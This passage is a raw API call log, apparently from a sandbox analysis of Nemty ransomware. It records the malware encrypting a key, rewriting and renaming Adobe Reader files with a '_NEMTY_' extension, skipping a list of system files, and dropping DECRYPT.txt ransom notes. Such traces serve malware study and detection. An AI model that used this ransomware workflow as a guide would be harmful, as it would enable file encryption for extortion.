lpUsedDefaultChar=0x0) returned 20 [0189.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404f8 [0189.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0189.442] Sleep (dwMilliseconds=0x5) [0189.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24907eb0, dwHighDateTime=0x1d561e8)) [0189.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24907eb0, dwHighDateTime=0x1d561e8)) [0189.444] GetLastError () returned 0x0 [0189.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.444] GetLastError () returned 0x0 [0189.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.444] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.445] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.445] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0189.445] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="igYv26B0X70FGmMvpEE+svSKKleQQUvf3pRmddMN7+pouGDTMkPd/zpnXcKBREyT\r\njy8R1QFtIxLTiIz/5QqoAWgi2ZIp8pYeTj3ZU94MmVkRhYOYkWi+EOEynjmB9q2B\r\nVVdMaahzvtKxEVffw76yKMYot0P9NORJk9By/XVF16NFzlqgyKvdT/hEBRuLnINg\r\nLbAIrT7xSlJPdhLIcac5CQpLaFd7qwExXIjzsqWNTKoLXaPaF9OY0hsVbg0USL2m\r\n0/lIjfrn6MRMm6jYcNXr0Sybrdt01qV9vWO/xw+6wBoeQU4pwpxc99/Dnz2YzMRB\r\n7xlcv1N73s/qfsSJTOGYXQ==\r\n", pcchString=0x653df5c) returned 1 [0189.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0189.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.445] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.445] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=196194) returned 1 [0189.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0189.445] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.445] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0189.455] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.455] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0189.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.455] SetFilePointer (in: hFile=0x320, lDistanceToMove=196194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2fe62 [0189.455] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.455] CloseHandle (hObject=0x320) returned 1 [0189.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0189.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0189.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0189.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0189.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.456] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0189.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0189.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0189.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.456] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24823670, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24823670, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24823670, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0189.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0189.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0189.456] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0189.457] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0189.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0189.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0189.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0189.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.458] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24823670, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24823670, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24823670, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0189.458] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0189.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0189.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.458] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="RUS", cAlternateFileName="")) returned 1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2=".") returned 1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2="..") returned 1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2="...") returned 1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2="windows") returned -1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2="$RECYCLE.BIN") returned 1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2="rsa") returned 1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2="NTDETECT.COM") returned 1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2="ntldr") returned 1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2="MSDOS.SYS") returned 1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2="IO.SYS") returned 1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2="boot.ini") returned 1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2="boot.ini") returned 1 [0189.458] lstrcmpiW (lpString1="RUS", lpString2="AUTOEXEC.BAT") returned 1 [0189.459] lstrcmpiW (lpString1="RUS", lpString2="ntuser.dat") returned 1 [0189.459] lstrcmpiW (lpString1="RUS", lpString2="desktop.ini") returned 1 [0189.459] lstrcmpiW (lpString1="RUS", lpString2="CONFIG.SYS") returned 1 [0189.459] lstrcmpiW (lpString1="RUS", lpString2="RECYCLER") returned 1 [0189.459] lstrcmpiW (lpString1="RUS", lpString2="BOOTSECT.BAK") returned 1 [0189.459] lstrcmpiW (lpString1="RUS", lpString2="bootmgr") returned 1 [0189.459] lstrcmpiW (lpString1="RUS", lpString2="programdata") returned 1 [0189.459] lstrcmpiW (lpString1="RUS", lpString2="appdata") returned 1 [0189.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUS", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUS", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RUS", lpUsedDefaultChar=0x0) returned 3 [0189.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUS", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUS", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RUS", lpUsedDefaultChar=0x0) returned 3 [0189.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0189.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0189.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0189.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0189.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0189.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0189.459] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0189.462] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.462] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0189.463] CloseHandle (hObject=0x2f0) returned 1 [0189.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0189.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0189.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0189.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0189.464] 